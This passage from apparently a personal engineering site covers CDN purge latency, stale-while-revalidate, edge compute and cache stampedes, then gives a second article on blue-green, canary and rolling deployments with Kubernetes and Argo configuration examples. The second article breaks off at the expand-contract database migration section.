Purge is not instant. Time from purge request to global effect:

| CDN Provider     | Typical Propagation | Notes                                        |
| ---------------- | ------------------- | -------------------------------------------- |
| Cloudflare       | <150ms (P50)        | "Instant Purge" via distributed invalidation |
| Fastly           | ~150ms global       | Sub-second for most requests                 |
| AWS CloudFront   | 30s - 3min          | Varies by distribution size                  |
| Google Cloud CDN | 5-10 min            | Rate limited (500/min)                       |
| Akamai           | Seconds to minutes  | Depends on product tier                      |

**Operational implication**: Don't assume purge is instant. If you purge and immediately test, you may see cached content. Build delays into deployment pipelines or use cache-busting query params for verification.

**Cost**:

- CloudFront: First 1,000 paths/month free, $0.005/path beyond
- Wildcard `/*` counts as one path but invalidates everything

## Stale-While-Revalidate and Stale-If-Error

RFC 5861 defines two Cache-Control extensions that fundamentally change the freshness vs availability tradeoff.

### Stale-While-Revalidate (SWR)

```http
Cache-Control: max-age=600, stale-while-revalidate=30
```

**Behavior**:

1. **0-600s**: Content fresh, serve from cache
2. **600-630s**: Content stale, serve from cache immediately, trigger async revalidation
3. **>630s**: Content truly stale, synchronous fetch required

**Design rationale**: Hides revalidation latency from users. The first request after TTL expires gets served instantly from cache while triggering background refresh. Subsequent requests get fresh content.

<figure>

![Stale-while-revalidate flow: first request after TTL expires serves stale content instantly while triggering async revalidation. Next request gets fresh content.](./stale-while-revalidate-flow-first-request-after-ttl-expires-serves-stale-content.svg)

<figcaption>Stale-while-revalidate flow: first request after TTL expires serves stale content instantly while triggering async revalidation. Next request gets fresh content.</figcaption>

</figure>

**Browser support**: Chrome 75+, Firefox 68+, Safari 13+, Edge 79+.

**CDN support**: Cloudflare, Fastly, KeyCDN, Varnish. CloudFront requires Lambda@Edge for full implementation.

**Edge case**: If no traffic arrives during the SWR window, content becomes truly stale. High-traffic endpoints benefit most; low-traffic endpoints may still experience synchronous fetches.

### Stale-If-Error (SIE)

```http
Cache-Control: max-age=600, stale-if-error=86400
```

**Behavior**: If origin returns 5xx error or is unreachable, serve stale content for the specified duration instead of propagating the error.

**Design rationale**: Availability over freshness. Users see slightly old content rather than error pages during origin outages.

**Combined pattern for production APIs**:

```http
Cache-Control: max-age=300, stale-while-revalidate=60, stale-if-error=86400
```

- Fresh for 5 minutes
- Serve stale + async revalidate for 1 minute after
- Serve stale on error for 24 hours

**Operational benefit**: Origin deployments become safer. If a bad deploy causes 500 errors, users continue seeing cached content while you fix the issue.

### Varnish Grace Mode

Varnish implements similar functionality with more control via VCL (Varnish Configuration Language):

```vcl title="grace.vcl" collapse={1-4}
# Varnish grace mode configuration
# beresp.grace: how long to serve stale while revalidating
# req.grace: how long client accepts stale content

sub vcl_backend_response {
    set beresp.ttl = 300s;       # Fresh for 5 minutes
    set beresp.grace = 1h;       # Serve stale for 1 hour while revalidating
}

sub vcl_recv {
    # Extend grace period when backend is unhealthy
    if (std.healthy(req.backend_hint)) {
        set req.grace = 10s;
    } else {
        set req.grace = 24h;     # Extended grace during outages
    }
}
```

**Key insight**: Varnish separates object grace (how long to keep stale content) from request grace (how long a specific request accepts stale content). This enables dynamic behavior based on backend health.

## Edge Compute Use Cases

Edge compute moves logic from origin to CDN edge locations, reducing latency from 200ms+ (origin round-trip) to <1ms (edge execution).

### Platform Comparison

| Platform             | Runtime             | Cold Start | Max Execution | Use Case                     |
| -------------------- | ------------------- | ---------- | ------------- | ---------------------------- |
| CloudFront Functions | JavaScript          | <1ms       | <1ms CPU      | Simple transforms, redirects |
| Lambda@Edge          | Node.js, Python     | 50-100ms   | 5-30s         | Complex logic, API calls     |
| Cloudflare Workers   | JavaScript/WASM     | <1ms       | 10-30ms CPU   | Full applications            |
| Fastly Compute       | WASM (Rust, Go, JS) | 35μs       | No hard limit | High-performance compute     |

**Cost comparison** (per 1M invocations):

- CloudFront Functions: $0.10
- Lambda@Edge: $0.60 + execution time
- Cloudflare Workers: $0.50 (included in paid plans)

### Personalization Without Origin Load

Traditional personalization requires origin processing per request. Edge compute enables personalization at cache layer:

**Pattern: Cookie-based variant selection**

```javascript title="personalization.js" collapse={1-5}
// CloudFront Function for cookie-based personalization
// Routes to different cached content based on user segment
// Cache key includes the segment, so variants are cached separately

function handler(event) {
  var request = event.request
  var cookies = request.cookies

  // Determine user segment from cookie
  var segment = "default"
  if (cookies.user_segment) {
    segment = cookies.user_segment.value
  }

  // Add segment to cache key via custom header
  request.headers["x-user-segment"] = { value: segment }

  return request
}
```

**CloudFront configuration**: Include `x-user-segment` header in cache key policy. Each segment gets its own cached variant.

**Result**: 3 user segments × 1000 pages = 3000 cache entries, all served from edge without origin involvement.

### A/B Testing at Edge

Edge-based A/B testing eliminates the latency and complexity of client-side testing libraries.

**Pattern: Consistent assignment via cookie**

```javascript title="ab-testing.js" collapse={1-6}
// Cloudflare Worker for A/B testing
// Assigns users to variants consistently via cookie
// Routes to variant-specific origin path

export default {
  async fetch(request) {
    const url = new URL(request.url)
    let variant = getCookie(request, "ab_variant")

    if (!variant) {
      // New user: randomly assign variant
      variant = Math.random() < 0.5 ? "a" : "b"
    }

    // Route to variant-specific origin
    url.pathname = `/${variant}${url.pathname}`

    const response = await fetch(url.toString(), request)

    // Set cookie for consistent future assignments
    const newResponse = new Response(response.body, response)
    if (!getCookie(request, "ab_variant")) {
      newResponse.headers.set("Set-Cookie", `ab_variant=${variant}; Path=/; Max-Age=86400`)
    }

    return newResponse
  },
}
```

**Why edge beats client-side**:

- No layout shift (content decided before HTML sent)
- No JavaScript dependency
- Consistent assignment across page loads
- Works for users with JS disabled

### Geo-Routing and Compliance

Edge compute enables geographic routing for latency optimization or compliance:

```javascript title="geo-routing.js" collapse={1-4}
// Lambda@Edge geo-routing for GDPR compliance
// Routes EU users to EU-based origin

exports.handler = async (event) => {
  const request = event.Records[0].cf.request
  const country = request.headers["cloudfront-viewer-country"][0].value

  const euCountries = ["DE", "FR", "IT", "ES", "NL", "BE", "AT", "PL"]

  if (euCountries.includes(country)) {
    request.origin.custom.domainName = "eu-origin.example.com"
  } else {
    request.origin.custom.domainName = "us-origin.example.com"
  }

  return request
}
```

**Compliance use case**: GDPR requires certain data to stay within EU. Route EU users to EU origins; their requests never touch US infrastructure.

## Operational Guardrails

### Cache Hit Ratio Monitoring

Cache hit ratio (CHR) is the primary health metric for CDN effectiveness:

**Formula**: `CHR = Cache Hits / (Cache Hits + Cache Misses) × 100`

**Target thresholds**:

- **Static assets**: >95%
- **Overall site**: >85%
- **Alert threshold**: <80% (investigate cache key issues or TTL misconfiguration)

**Segmented monitoring is critical**: A global 90% CHR can mask a 50% CHR for a specific content type or region. Monitor by:

- Content type (HTML, JS, CSS, images, API)
- Geographic region
- URL pattern

**Common CHR killers**:

- High-cardinality `Vary` headers (cache fragmentation)
- Query parameters in cache key (tracking IDs create unique keys)
- Short TTLs on high-traffic content
- Origin returning `Cache-Control: no-store` unexpectedly

### Cache Stampede (Thundering Herd)

**Problem**: When a popular cache entry expires, all concurrent requests miss cache and hit origin simultaneously.

<figure>

![Cache stampede: multiple concurrent requests after cache expiry all hit origin, causing load spike proportional to concurrency.](./cache-stampede-multiple-concurrent-requests-after-cache-expiry-all-hit-origin-ca.svg)

<figcaption>Cache stampede: multiple concurrent requests after cache expiry all hit origin, causing load spike proportional to concurrency.</figcaption>

</figure>

**Real-world impact**: A cache entry with 98% hit ratio expiring means 50x origin load spike (2% misses become 100% misses during revalidation window).

**Mitigation strategies**:

1. **Request coalescing** (CDN feature): CDN holds duplicate requests while one fetches from origin
   - Fastly: Enabled by default
   - CloudFront: Limited support via Origin Shield
   - Cloudflare: "Tiered Cache" provides similar behavior

2. **Stale-while-revalidate**: First request serves stale, triggers async refresh—no stampede because subsequent requests still hit cache

3. **Probabilistic early expiration**: Refresh before TTL expires:

   ```
   actual_ttl = ttl - (random() * jitter_factor)
   ```

   Spreads revalidation across time window instead of thundering at exact TTL

4. **Origin Shield**: Centralized cache layer between edge PoPs and origin. Misses from multiple edges coalesce at shield.

### Origin Shield Architecture

Origin Shield adds a single cache layer between globally distributed edge PoPs and origin:

**Without shield**:

```
Edge NYC miss → Origin
Edge London miss → Origin
Edge Tokyo miss → Origin
= 3 origin requests
```

**With shield**:

```
Edge NYC miss → Shield (Virginia) miss → Origin
Edge London miss → Shield (Virginia) hit
Edge Tokyo miss → Shield (Virginia) hit
= 1 origin request
```

**When to enable**:

- High traffic with moderate cache hit ratio (<95%)
- Origin cannot handle traffic spikes
- Global audience (many edge PoPs)

**Cost tradeoff**: Additional per-request charge at shield. Justified when origin protection value exceeds shield cost.

### Graceful Degradation Patterns

Design for origin failure:

1. **Extended stale-if-error**: Serve stale content for 24-48 hours during outages

   ```http
   Cache-Control: max-age=300, stale-if-error=172800
   ```

2. **Static fallback at edge**: If origin returns 5xx, serve static fallback page from edge storage

3. **Health check integration**: CDN monitors origin health, extends grace period when origin is unhealthy (Varnish pattern shown earlier)

4. **Circuit breaker at edge**: After N consecutive origin errors, stop sending traffic for cooldown period

## Conclusion

Edge delivery and cache invalidation is fundamentally about managing the tension between content freshness and system performance. The mature approach:

1. **Prefer versioned URLs** for assets—eliminates invalidation entirely
2. **Use stale-while-revalidate** for HTML/API responses—hides latency, prevents stampedes
3. **Implement tag-based purging** for complex content relationships—surgical invalidation without full cache clear
4. **Monitor cache hit ratio by segment**—global metrics hide localized problems
5. **Design for origin failure**—extended grace periods turn partial outages into non-events

**The cache key determines correctness; the TTL determines performance.** Get the cache key wrong, and users see incorrect content. Get the TTL wrong, and you either hammer your origin or serve stale content.

Edge compute shifts the personalization boundary from origin to edge—decisions that previously required 200ms origin round-trips now execute in <1ms at the nearest edge location. This isn't just an optimization; it fundamentally changes what's architecturally possible for latency-sensitive applications.

## Appendix

### Prerequisites

- HTTP caching model (request/response headers, freshness, validation)
- CDN concepts (edge PoPs, origin, cache keys)
- Basic understanding of distributed systems failure modes

### Terminology

- **Cache key**: Unique identifier for cached content (typically URL + selected headers)
- **TTL (Time to Live)**: Duration content is considered fresh
- **CHR (Cache Hit Ratio)**: Percentage of requests served from cache
- **PoP (Point of Presence)**: Edge location where CDN serves content
- **Origin Shield**: Intermediate cache layer between edge PoPs and origin
- **Surrogate key**: Tag associated with cached content for grouped invalidation
- **Thundering herd**: Multiple simultaneous requests overwhelming origin after cache expiry
- **SWR (Stale-While-Revalidate)**: Serve stale content while asynchronously fetching fresh
- **SIE (Stale-If-Error)**: Serve stale content when origin returns error

### Summary

- Cache key design determines correctness; TTL determines performance—both can cause production incidents if misconfigured
- Versioned/fingerprinted URLs eliminate invalidation need for assets—use `immutable` directive for 1-year TTL
- Tag-based purging (surrogate keys) handles complex content relationships—supported by Fastly, Akamai, Cloudflare Enterprise
- Stale-while-revalidate hides revalidation latency and prevents cache stampedes—combine with stale-if-error for origin failure protection
- Origin Shield collapses multi-PoP misses into single origin request—essential for stampede protection
- Edge compute enables <1ms personalization decisions vs 200ms+ origin round-trip

### References

**Specifications**

- [RFC 9111 - HTTP Caching](https://datatracker.ietf.org/doc/rfc9111/) - Authoritative HTTP caching specification (June 2022)
- [RFC 9110 - HTTP Semantics](https://datatracker.ietf.org/doc/html/rfc9110/) - HTTP methods, status codes, headers
- [RFC 5861 - HTTP Cache-Control Extensions for Stale Content](https://datatracker.ietf.org/doc/html/rfc5861) - stale-while-revalidate, stale-if-error

**CDN Provider Documentation**

- [AWS CloudFront - Understanding the Cache Key](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/understanding-the-cache-key.html) - Cache key design best practices
- [AWS CloudFront - Edge Functions](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/edge-functions-choosing.html) - CloudFront Functions vs Lambda@Edge
- [Fastly - Purging with Surrogate Keys](https://docs.fastly.com/en/guides/purging-with-surrogate-keys) - Tag-based invalidation
- [Fastly - Serving Stale Content](https://www.fastly.com/documentation/guides/full-site-delivery/performance/serving-stale-content/) - SWR implementation
- [Cloudflare - Instant Purge Architecture](https://blog.cloudflare.com/instant-purge/) - Sub-150ms global purge
- [Cloudflare Workers Documentation](https://developers.cloudflare.com/workers/) - Edge compute platform
- [Google Cloud CDN - Cache Invalidation](https://cloud.google.com/cdn/docs/cache-invalidation-overview) - Invalidation patterns and limits
- [Akamai - Purge Cache by Tag](https://techdocs.akamai.com/purge-cache/reference/post-invalidate-tag) - Cache tag implementation

**Educational Resources**

- [MDN - HTTP Caching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Caching) - Comprehensive caching overview
- [MDN - Cache-Control](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cache-Control) - Directive reference
- [Varnish - Grace Mode](https://varnish-cache.org/docs/7.3/users-guide/vcl-grace.html) - Stale content serving

**Engineering Blogs**

- [Cloudflare - Rethinking Cache Purge](https://blog.cloudflare.com/part1-coreless-purge/) - Distributed invalidation architecture
- [Philip Walton - Performant A/B Testing with Cloudflare Workers](https://philipwalton.com/articles/performant-a-b-testing-with-cloudflare-workers/) - Edge-based testing patterns

---

## Deployment Strategies: Blue-Green, Canary, and Rolling

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/infrastructure-delivery/deployment-strategies-blue-green-canary
**Category:** Platform Engineering / Infrastructure & Delivery
**Description:** Production deployment strategies for balancing release velocity against blast radius. Covers the architectural trade-offs between blue-green, canary, and rolling deployments—with specific focus on traffic shifting mechanics, database migration coordination, automated rollback criteria, and operational failure modes that senior engineers encounter during incident response.

# Deployment Strategies: Blue-Green, Canary, and Rolling

Production deployment strategies for balancing release velocity against blast radius. Covers the architectural trade-offs between blue-green, canary, and rolling deployments—with specific focus on traffic shifting mechanics, database migration coordination, automated rollback criteria, and operational failure modes that senior engineers encounter during incident response.

<figure>

![Deployment strategy landscape: each strategy connects to traffic management and data layer concerns. Blue-green and canary require explicit schema migration coordination; rolling updates assume backward compatibility.](./deployment-strategy-landscape-each-strategy-connects-to-traffic-management-and-d.svg)

<figcaption>Deployment strategy landscape: each strategy connects to traffic management and data layer concerns. Blue-green and canary require explicit schema migration coordination; rolling updates assume backward compatibility.</figcaption>

</figure>

## Abstract

Deployment strategy selection reduces to three variables: **blast radius** (percentage of users exposed to failures), **rollback speed** (time to restore previous behavior), and **infrastructure cost** (resource overhead during deployment).

| Strategy       | Blast Radius             | Rollback Speed            | Infrastructure Cost          | Complexity |
| -------------- | ------------------------ | ------------------------- | ---------------------------- | ---------- |
| **Blue-Green** | 100% (all at once)       | Instant (traffic switch)  | 2x (parallel environments)   | Moderate   |
| **Canary**     | Configurable (1-100%)    | Fast (stop traffic shift) | Minimal (small canary fleet) | High       |
| **Rolling**    | Growing (during rollout) | Slow (reverse rollout)    | Minimal (surge capacity)     | Low        |

**Key architectural insight**: The choice isn't which strategy is "best"—it's which failure mode is acceptable. Blue-green trades cost for instant rollback. Canary trades complexity for controlled exposure. Rolling trades rollback speed for simplicity.

**Feature flags** decouple deployment from release: code reaches production with features disabled, then gradually enabled independent of infrastructure changes. This shifts blast radius control from infrastructure to application layer.

**Database migrations** constrain all strategies: schema changes must be backward-compatible during the transition window, or you lose the ability to rollback without data loss.

## Blue-Green Deployments

Blue-green deployment maintains two identical production environments. At any time, one ("blue") serves traffic while the other ("green") is idle or receiving the new release. Deployment completes with an atomic traffic switch.

### Architecture and Traffic Switching

The core requirement: a routing layer that can instantly redirect 100% of traffic between environments. Implementation options:

| Routing Method    | Switch Speed                 | Complexity | Use Case                      |
| ----------------- | ---------------------------- | ---------- | ----------------------------- |
| **Load balancer** | Seconds                      | Low        | AWS ALB/NLB target group swap |
| **DNS**           | Minutes (TTL-dependent)      | Low        | Global traffic management     |
| **Service mesh**  | Seconds                      | High       | Kubernetes with Istio/Linkerd |
| **CDN origin**    | Minutes (cache invalidation) | Moderate   | Static sites, CloudFront      |

**Why atomic switching matters**: Partial deployments create version skew—users might receive HTML from v2 but JavaScript from v1. Blue-green eliminates this by ensuring all requests hit one environment or the other, never both simultaneously.

<figure>

![Blue-green deployment sequence: traffic switches atomically after health checks pass on the green environment. Blue remains available for instant rollback.](./blue-green-deployment-sequence-traffic-switches-atomically-after-health-checks-p.svg)

<figcaption>Blue-green deployment sequence: traffic switches atomically after health checks pass on the green environment. Blue remains available for instant rollback.</figcaption>

</figure>

### AWS Implementation

AWS CodeDeploy with ECS supports blue-green natively. Traffic shifting options from the [AWS ECS deployment documentation](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/deployment-type-bluegreen.html):

| Configuration                                       | Behavior                     |
| --------------------------------------------------- | ---------------------------- |
| `CodeDeployDefault.ECSAllAtOnce`                    | Immediate 100% switch        |
| `CodeDeployDefault.ECSLinear10PercentEvery1Minutes` | 10% increments every minute  |
| `CodeDeployDefault.ECSCanary10Percent5Minutes`      | 10% for 5 minutes, then 100% |

**Requirements**: Application Load Balancer (ALB) or Network Load Balancer (NLB) with two target groups. CodeDeploy manages the target group weights.

```yaml title="appspec.yml" collapse={1-3}
# AWS CodeDeploy AppSpec for ECS blue-green deployment
# Defines task definition, container, and traffic routing configuration

version: 0.0
Resources:
  - TargetService:
      Type: AWS::ECS::Service
      Properties:
        TaskDefinition: "arn:aws:ecs:us-east-1:111122223333:task-definition/my-task:2"
        LoadBalancerInfo:
          ContainerName: "my-container"
          ContainerPort: 8080
```

### Kubernetes Implementation

Kubernetes doesn't provide native blue-green. Implementation requires managing two Deployments and switching Service selectors:

```yaml title="blue-green-service.yaml" collapse={1-5}
# Service selector determines which Deployment receives traffic
# Switch between blue and green by updating the 'version' label
# Requires manual or scripted selector update for traffic switch

apiVersion: v1
kind: Service
metadata:
  name: my-app
spec:
  selector:
    app: my-app
    version: blue # Change to 'green' for switch
  ports:
    - port: 80
      targetPort: 8080
```

**Operational pattern**:

1. Deploy green Deployment with `version: green` label
2. Verify green pods pass readiness probes
3. Update Service selector from `version: blue` to `version: green`
4. Keep blue Deployment for rollback window
5. Delete blue Deployment after confidence period

### Trade-offs and Failure Modes

**Cost**: 2x infrastructure during deployment window. For stateless services, this is the primary overhead. For stateful services with dedicated databases, costs compound.

**Session handling**: In-flight requests during switch may fail. Mitigations:

- Connection draining: ALB waits for existing connections to complete (configurable timeout)
- Session affinity: Sticky sessions prevent mid-session switches (but complicate rollback)
- Stateless design: Store session state externally (Redis, DynamoDB)

**Database schema compatibility**: The critical constraint. If green requires schema changes incompatible with blue, rollback becomes impossible without data loss. See [Database Migration Coordination](#database-migration-coordination).

**Failure detection gap**: Blue-green exposes 100% of users immediately. If monitoring doesn't detect issues within minutes, all users experience the failure. Canary addresses this by limiting initial exposure.

## Canary Deployments

Canary deployment routes a small percentage of traffic to the new version while the majority continues hitting the stable version. Traffic shifts gradually based on metrics thresholds, with automatic rollback if metrics degrade.

The term originates from coal mining: canaries detected toxic gases before miners were affected. In deployment, the canary cohort detects issues before full rollout.

### Progressive Traffic Shifting

Traffic progression follows predefined stages with metric evaluation at each gate:

```
1% → [evaluate 10min] → 5% → [evaluate 10min] → 25% → [evaluate 10min] → 100%
```

**Stage duration** balances detection speed against deployment velocity. Too short: insufficient data for statistical significance. Too long: slow releases.

From [Google SRE Workbook Chapter 16](https://sre.google/workbook/canarying-releases/): manual graph inspection is insufficient for detecting canary issues. Automated analysis comparing canary metrics against baseline is required for reliable detection.

<figure>

![Canary progression with metric gates: each stage evaluates success criteria before advancing. Any failure triggers immediate rollback to stable.](./canary-progression-with-metric-gates-each-stage-evaluates-success-criteria-befor.svg)

<figcaption>Canary progression with metric gates: each stage evaluates success criteria before advancing. Any failure triggers immediate rollback to stable.</figcaption>

</figure>

### Metrics-Driven Release Gates

Effective canary analysis requires comparing canary cohort metrics against baseline (stable version) metrics, not absolute thresholds.

**Core metrics** (RED method):

- **Rate**: Request throughput—anomalies indicate routing issues or capacity problems
- **Errors**: Error rate comparison—canary error rate > baseline + threshold triggers rollback
- **Duration**: Latency percentiles (p50, p90, p99)—degradation indicates performance regression

**Threshold configuration example**:

| Metric      | Baseline | Canary Threshold | Action             |
| ----------- | -------- | ---------------- | ------------------ |
| Error rate  | 0.1%     | > 0.5%           | Rollback           |
| p99 latency | 200ms    | > 300ms          | Rollback           |
| p50 latency | 50ms     | > 75ms           | Pause, investigate |

**Statistical significance**: Google's canary analysis guidance recommends minimum 50 data points per metric before drawing conclusions. At 10 requests/second to canary, this requires at least 5 seconds of observation—but metrics like memory leaks require hours to manifest.

From [Google Cloud's canary analysis best practices](https://cloud.google.com/blog/products/devops-sre/canary-analysis-lessons-learned-and-best-practices-from-google-and-waze): defining acceptable thresholds is iterative. Being too strict causes false positives (unnecessary rollbacks); too loose misses real issues. When uncertain, err on the conservative side.

### Kubernetes Implementation with Argo Rollouts

[Argo Rollouts](https://argo-rollouts.readthedocs.io/en/stable/) extends Kubernetes Deployments with canary and blue-green strategies, including automated analysis.

```yaml title="canary-rollout.yaml" collapse={1-5}
# Argo Rollouts canary configuration with progressive traffic shifting
# Analysis runs starting at step 2 to evaluate metrics before each promotion
# Requires AnalysisTemplate for Prometheus metric evaluation

apiVersion: argoproj.io/v1alpha1
kind: Rollout
metadata:
  name: my-app
spec:
  replicas: 10
  strategy:
    canary:
      steps:
        - setWeight: 5
        - pause: { duration: 10m }
        - setWeight: 20
        - pause: { duration: 10m }
        - setWeight: 50
        - pause: { duration: 10m }
        - setWeight: 80
        - pause: { duration: 10m }
      analysis:
        templates:
          - templateName: success-rate
        startingStep: 2
        args:
          - name: service-name
            value: my-app
```

**AnalysisTemplate** with Prometheus:

```yaml title="analysis-template.yaml" collapse={1-4}
# Prometheus-based analysis template for canary success rate
# Queries error rate and compares against threshold
# failureLimit: 3 allows transient failures before rollback

apiVersion: argoproj.io/v1alpha1
kind: AnalysisTemplate
metadata:
  name: success-rate
spec:
  args:
    - name: service-name
  metrics:
    - name: success-rate
      successCondition: result[0] >= 0.95
      failureLimit: 3
      interval: 60s
      provider:
        prometheus:
          address: http://prometheus:9090
          query: |
            sum(rate(http_requests_total{status!~"5.*",app="{{args.service-name}}"}[5m])) /
            sum(rate(http_requests_total{app="{{args.service-name}}"}[5m]))
```

### Service Mesh Traffic Splitting

Istio provides fine-grained traffic control via VirtualService:

```yaml title="istio-canary.yaml" collapse={1-4}
# Istio VirtualService for canary traffic splitting
# Routes 90% to stable, 10% to canary based on subset labels
# Requires DestinationRule defining stable/canary subsets

apiVersion: networking.istio.io/v1beta1
kind: VirtualService
metadata:
  name: my-app
spec:
  hosts:
    - my-app
  http:
    - route:
        - destination:
            host: my-app
            subset: stable
          weight: 90
        - destination:
            host: my-app
            subset: canary
          weight: 10
```

**Flagger** automates canary progression with Istio, Linkerd, or NGINX:

- Creates canary Deployment from primary
- Manages VirtualService weights automatically
- Monitors Prometheus metrics for promotion/rollback decisions
- Supports webhooks for custom validation

### Trade-offs and Failure Modes

**Complexity**: Canary requires traffic splitting infrastructure (service mesh, ingress controller with weighted routing), metrics collection, and analysis automation. Blue-green is simpler.

**Consistent user experience**: Without session affinity, a user might hit canary on one request and stable on the next. For stateless APIs, this is acceptable. For stateful interactions (multi-step forms, shopping carts), implement sticky routing based on user ID hash.

**Metric lag**: Some issues (memory leaks, connection pool exhaustion) take hours to manifest. Fast canary progression may promote before slow-burn issues appear. Mitigation: extend observation windows for critical releases, monitor resource metrics alongside request metrics.

**Insufficient traffic**: Low-traffic services may not generate enough requests during canary stages for statistical significance. Solutions:

- Extend stage durations
- Use synthetic traffic for baseline
- Accept higher uncertainty with manual review gates

## Rolling Updates

Rolling updates replace pods incrementally: terminate old pods and start new pods in controlled batches. Kubernetes Deployments use rolling updates by default.

### Kubernetes Rolling Update Mechanics

Two parameters control rollout pace:

| Parameter        | Description                      | Default | Effect                                    |
| ---------------- | -------------------------------- | ------- | ----------------------------------------- |
| `maxSurge`       | Max pods above desired count     | 25%     | Higher = faster rollout, more resources   |
| `maxUnavailable` | Max pods that can be unavailable | 25%     | Higher = faster rollout, reduced capacity |

**Configuration examples**:

```yaml title="rolling-update-configs.yaml"
# Conservative: no capacity loss, requires surge resources
spec:
  strategy:
    rollingUpdate:
      maxSurge: 1
      maxUnavailable: 0

# Aggressive: faster rollout, temporary capacity reduction
spec:
  strategy:
    rollingUpdate:
      maxSurge: 50%
      maxUnavailable: 25%
```

**Rollout sequence** with `maxSurge: 1, maxUnavailable: 0` (10 replicas):

1. Create 1 new pod (11 total)
2. Wait for new pod readiness
3. Terminate 1 old pod (10 total)
4. Repeat until all pods updated

### Readiness Probes and Failure Detection

Kubernetes uses probes to determine pod health:

| Probe Type    | Purpose                    | Failure Action                     |
| ------------- | -------------------------- | ---------------------------------- |
| **Readiness** | Can pod receive traffic?   | Remove from Service endpoints      |
| **Liveness**  | Should pod be restarted?   | Kill and restart container         |
| **Startup**   | Has pod finished starting? | Disable other probes until success |

**Critical for rolling updates**: Readiness probe failures prevent traffic routing to unhealthy new pods, but the rollout continues. A pod that passes readiness but has application-level issues (returning errors, slow responses) will receive traffic.

```yaml title="probe-config.yaml" collapse={1-3}
# Readiness probe configuration for rolling update safety
# Pod must respond successfully for 10 seconds before receiving traffic

spec:
  containers:
    - name: app
      readinessProbe:
        httpGet:
          path: /health
          port: 8080
        initialDelaySeconds: 5
        periodSeconds: 5
        successThreshold: 1
        failureThreshold: 3
      livenessProbe:
        httpGet:
          path: /health
          port: 8080
        initialDelaySeconds: 15
        periodSeconds: 10
        failureThreshold: 3
```

### Manual Rollback

Kubernetes maintains revision history for Deployments:

```bash
# Check rollout status
kubectl rollout status deployment/my-app

# View revision history
kubectl rollout history deployment/my-app

# Rollback to previous revision
kubectl rollout undo deployment/my-app

# Rollback to specific revision
kubectl rollout undo deployment/my-app --to-revision=2

# Pause rollout mid-progress
kubectl rollout pause deployment/my-app
```

**Limitation**: Native Kubernetes does not support automated metric-based rollback. If pods pass probes, rollout continues regardless of application metrics. Use Argo Rollouts or Flagger for automated rollback.

### Trade-offs and Failure Modes

**Version coexistence**: During rollout, both old and new versions serve traffic simultaneously. This requires:

- Backward-compatible APIs (new version must handle old client requests)
- Forward-compatible APIs (old version must handle new client requests during rollback)
- Schema compatibility for shared databases

**Rollback speed**: Reversing a rolling update requires another rolling update. For a 100-pod Deployment with conservative settings, full rollback may take 10+ minutes. Compare to blue-green's instant switch.

**Blast radius growth**: Unlike canary's controlled percentage, rolling update exposure grows linearly. With 10 replicas, updating 1 pod exposes 10% of traffic immediately. No pause for metric evaluation unless manually configured with `pause` in Argo Rollouts.

**No traffic control**: Rolling updates don't support routing specific users to new version. All traffic is distributed across available pods. Use canary or feature flags for targeted exposure.

## Feature Flags and Deployment Decoupling

Feature flags separate **deployment** (code reaching production) from **release** (users experiencing features). This enables deploying code with features disabled, then enabling gradually—independent of infrastructure changes.

### Architectural Pattern

![Diagram](./diagram-1.svg)

**Key insight**: Rollback becomes a flag toggle (milliseconds) rather than a deployment (minutes to hours). Even if the underlying deployment strategy is rolling update, feature flags provide instant rollback for the specific feature.

### Implementation Considerations

**Flag evaluation location**:

- **Server-side**: Flag service called per-request. Higher latency, always current.
- **Client-side SDK**: Flags cached locally, synced periodically. Lower latency, eventual consistency.
- **Edge**: Flags evaluated at CDN/load balancer. Zero application latency, limited context.

**Consistent assignment**: Users must receive the same flag value across requests for coherent experience. Implementation: hash user ID to bucket (0-100,000), compare against percentage threshold.

```javascript title="flag-evaluation.js" collapse={1-4}
// Simplified percentage rollout evaluation
// Hash provides consistent assignment for same user across requests
// Production SDKs handle edge cases, caching, and fallbacks

function shouldEnableFeature(userId, percentage) {
  const hash = hashUserId(userId) // Returns 0-99999
  const bucket = hash % 100000
  return bucket < percentage * 1000 // percentage as 0-100
}
```

**Flag lifecycle management**: Technical debt accumulates if flags aren't cleaned up. Establish policy:

1. Feature fully rolled out → remove flag within 2 weeks
2. Feature abandoned → remove flag and code immediately
3. Long-lived flags (A/B tests, entitlements) → document and review quarterly

### Integration with Deployment Strategies

| Strategy       | Feature Flag Role                                                              |
| -------------- | ------------------------------------------------------------------------------ |
| **Blue-Green** | Instant rollback for specific features without environment switch              |
| **Canary**     | Additional blast radius control within canary cohort                           |
| **Rolling**    | Compensates for lack of traffic control—enable feature for percentage of users |

**LaunchDarkly progressive rollouts** from [their documentation](https://launchdarkly.com/docs/home/releases/progressive-rollouts): automatic percentage increase over time with metric monitoring. Similar to canary, but at application layer rather than infrastructure.

## Database Migration Coordination

Database schema changes constrain all deployment strategies. If the new code version requires schema changes incompatible with the old version, rollback becomes impossible without data loss.

### The Compatibility Problem

Consider adding a required column:

```sql
ALTER TABLE users ADD COLUMN email_verified BOOLEAN NOT NULL DEFAULT false;
```

**Timeline during blue-green deployment**:

1. Green code expects `email_verified` column
2. Switch traffic to green
3. Issue detected, switch back to blue
4. **Problem**: Blue code doesn't know about `email_verified`, may fail or ignore it

**Worse**: If green code wrote rows with `email_verified = true`, blue code can't interpret them correctly.

### Expand-Contract Pattern

The expand-contract pattern (also called parallel change) from [Martin Fowler](https://martinfowler.com/bliki/ParallelChange.html) solves this by splitting migrations into backward-compatible phases:

<figure>

![Expand-contract migration phases: each phase is independently deployable and rollback-safe. The contract phase only executes after confirming the expand phase is complete.](./expand-contract-migration-phases-each-phase-is-independently-deployable-and-roll.svg)

<figcaption>Expand-contract migration phases: each phase is independently deployable and rollback-safe. The contract phase only executes after confirming the expand phase is complete.</figcaption>

</figure>

**Phase 1 - Expand**:

1. Add new column as nullable (no constraint)
2. Deploy code that writes to both old and new columns (dual-write)
3. Backfill existing rows

```sql
-- Expand: Add nullable column
ALTER TABLE users ADD COLUMN email_verified BOOLEAN;

-- Application dual-write pseudocode
INSERT INTO users (name, is_verified, email_verified)
VALUES ('Alice', true, true);  -- Write both columns
```

**Phase 2 - Migrate**:

1. Verify all rows have new column populated
2. Monitor for any rows missing new column data

**Phase 3 - Contract**:

